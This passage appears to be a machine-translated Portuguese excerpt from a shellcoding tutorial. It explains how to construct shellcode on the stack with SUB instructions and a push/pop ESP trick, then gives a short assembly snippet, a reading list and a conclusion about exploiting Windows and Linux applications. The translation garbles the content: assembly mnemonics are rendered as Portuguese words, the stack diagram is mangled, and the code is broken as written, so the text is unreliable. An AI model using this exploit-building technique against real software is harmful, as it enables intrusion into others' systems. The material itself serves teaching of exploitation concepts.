O diagrama esperado ASCII esperado 1) EIP (código do carregador) -------- ESPACOLO DE PILHAS AFECTADAS -------- ESP 2) --- (código do carregador) --- EIP ------- STACK ------ ESP - (shellcode-- 3) ---- loadercode --- EIP @ ESP ---- shellcode que foi construído ---
Então, esse diagrama provavelmente justifica alguma explicação. Basicamente, nós pegamos nosso shellcode já escrito e geramos duas a três subtrair instruções por cada quatro bytes e fazer o push EAX, pop ESP trick. Isso basicamente coloca o shellcode construído no final da pilha e trabalha para o EIP. Então, construamos 4 bytes de cada vez para a totalidade do código e, em seguida, insira uma pequena ponte NOP (indicada por @) entre o código do construtor e o shellcode. A ponte NOP é usada para alinhar a palavra o fim do código do construtor.
Exemplo de código:
Ah, e eu esqueci de mencionar, o código deve ser inserido na ordem inversa e os bytes devem aderir ao pequeno padrão endian. Esse trabalho parece incrivelmente tedioso, graças a Deus essa matriz escreveu uma ferramenta que faz isso para nós! O ponto é que agora você pode usar esse utilitário somente uma vez que você entenda os conceitos apresentados acima. Lembre-se, se você não entende, você é apenas um outro roteirista.
e eax, 0x454e4f4a; exemplo de como zero fora eax (não relacionado) e eax, 0x3a313035 push esp pop eax sub eax, 0x39393333; construir 860 bytes de espaço na pilha sub eax, 0x72727550 sub eax, 0x54545421 empurre eax; salve em esp pop esp
Leitura adicional
Abaixo está uma lista de grandes recursos que se relacionam com shellcoding. Eu sugiro pegar uma cópia de todos os documentos listados, mas se isso é uma impossibilidade, no mínimo, obtenha o Manual do Shellcoder ; É uma mina de ouro pura de informação.
- The Shellcoder's Handbook de Jack Koziol et al
- Hacking - The Art of Exploitation by Jon Erickson
- "Compreendendo o Windows Shellcode" por nologin.org
Conclusão
Neste ponto, o leitor deve ser capaz de escrever, no mínimo, shellcode básico para explorar aplicativos nas plataformas Windows ou Linux. Os truques aqui demonstrados ajudarão um shellcoder a entender o shellcode de outros e modificar o shellcode pré-escrito para ajustar a situação em questão. Shellcoding é sempre considerado como um pequeno detalhe de hackear um pedaço de software, mas invariavelmente, um hack é tão forte quanto o seu link mais fraco. Se o shellcode não funcionar, a tentativa de quebrar o software falha; É por isso que é importante entender todos os aspectos do processo. Caso contrário, boa sorte e divirta-se!